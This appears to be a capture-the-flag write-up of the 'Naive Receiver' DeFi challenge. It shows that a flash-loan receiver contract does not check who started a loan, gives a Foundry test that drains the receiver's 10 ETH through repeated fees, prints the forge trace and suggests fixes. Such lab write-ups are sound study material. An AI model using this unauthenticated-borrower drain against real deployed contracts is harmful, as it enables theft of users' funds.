Challenge Link to heading
There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiving flash loans of ETH.
Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)
Analysis Link to heading
The challenge contains two contracts:
NaiveReceiverLenderPool
– Lending pool.FlashLoanReceiver
– User’s contract for receiveing flash loans.
Same as in the previous challenge, NaiveReceiverLenderPool
inherits ReentrancyGuard
and its flashLoan
function has the
nonReentrant
modifier. So we won’t look for re-entrancy
vulnerabilities. It has the receive
function, which allows ETH
deposits. I guess it is needed to set up the challenge. The
fixedFee
function is trivial. Let’s have a closer look at the
flashLoan
:
function flashLoan(address borrower, uint256 borrowAmount)
external
nonReentrant
{
uint256 balanceBefore = address(this).balance;
if (balanceBefore < borrowAmount) revert NotEnoughETHInPool();
if (!borrower.isContract()) revert BorrowerMustBeADeployedContract();
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature("receiveEther(uint256)", FIXED_FEE),
borrowAmount
);
if (address(this).balance < balanceBefore + FIXED_FEE)
revert FlashLoanHasNotBeenPaidBack();
}
It takes the borrower
and checks that it is a contract address
(not an EOA). You might think it would be better to assume that
msg.sender
is a borrower, but they’ve decided the make it a
parameter for some reason 🤔. Next, it ensures that the pool has
enough funds to lend. Then it calls the receiveEther
function transferring the borrowAmount
and passing the
FIXED_FEE
constant as an argument. Finally, it checks that the
borrowed amount plus the fixed fee has been repaid.
Now, let’s concentrate on the FlashLoanReceiver
contract. It
keeps a reference to the pool which is set in the constructor:
address payable private pool;
The receiveEther
function checks that the sender is a pool.
Ensures that the contract has enough Ether to repay the
amountToBeRepaid
, which is msg.value + fee
. Then it executes
the _executeActionDuringFlashLoan
and returns funds to the
poll by calling pool.sendValue(amountToBeRepaid)
.
function receiveEther(uint256 fee) public payable {
if (msg.sender != pool) revert SenderMustBePool();
uint256 amountToBeRepaid = msg.value + fee;
if (address(this).balance < amountToBeRepaid)
revert CannotBorrowThatMuch();
_executeActionDuringFlashLoan();
// Return funds to pool
pool.sendValue(amountToBeRepaid);
}
The _executeActionDuringFlashLoan
function is empty and has the internal
visibility.
Notice that the receiveEther
function doesn’t check who
initiated the flash loan. It means anyone can request a flash
loan on behalf of the FlashLoanReceiver
contract to make it
pay the fee.
Exploit Link to heading
It turns out we can waste all user’s contract funds on flash loans with high fees in a single transaction. To do that we must force it to receive 10 flash loans in a row paying 1 ETH fee each time:
function testExploit() public {
/** EXPLOIT START **/
vm.startPrank(attacker);
uint256 flashFee = naiveReceiverLenderPool.fixedFee();
while (true) {
uint256 flashAmount = address(flashLoanReceiver).balance - flashFee;
naiveReceiverLenderPool.flashLoan(
address(flashLoanReceiver),
flashAmount
);
if (address(flashLoanReceiver).balance == 0) break;
}
vm.stopPrank();
/** EXPLOIT END **/
validation();
}
Here is how the forge’s trace looks like:
$ forge test --match-contract NaiveReceiver -vvvv
Running 1 test for src/test/Levels/naive-receiver/NaiveReceiver.t.sol:NaiveReceiver
[PASS] testExploit() (gas: 187772)
Logs:
🧨 PREPARED TO BREAK THINGS 🧨
Traces:
[187772] NaiveReceiver::testExploit()
├─ [0] VM::startPrank(Attacker: [...])
│ └─ ← ()
├─ [146] Pool::fixedFee() [staticcall]
│ └─ ← 1000000000000000000
├─ [20314] Pool::flashLoan(Receiver: [...], 9000000000000000000)
│ ├─ [9598] Receiver::receiveEther{value: 9000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 10000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 8000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 8000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 9000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 7000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 7000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 8000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 6000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 6000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 7000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 5000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 5000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 6000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 4000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 4000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 5000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 3000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 3000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 4000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 2000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 2000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 3000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [16314] Pool::flashLoan(Receiver: [...], 1000000000000000000)
│ ├─ [7598] Receiver::receiveEther{value: 1000000000000000000}(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 2000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [9932] Pool::flashLoan(Receiver: [...], 0)
│ ├─ [7598] Receiver::receiveEther(1000000000000000000)
│ │ ├─ [55] Pool::fallback{value: 1000000000000000000}()
│ │ │ └─ ← ()
│ │ └─ ← ()
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()
Remediation Link to heading
- In the
NaiveReceiverLenderPool
’sflashLoan
function assume thatmsg.sender
is the borrower. - Add authentication to the
FlashLoanReceiver
contract.
Notes & References Link to heading
The isContract and sendValue functions come from the OpenZeppelin’s Address library.
For example, the sendValue
is implemented like this:
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
Thank you for reading! The complete code is here. Let’s move on to the next challenge – #3 Truster.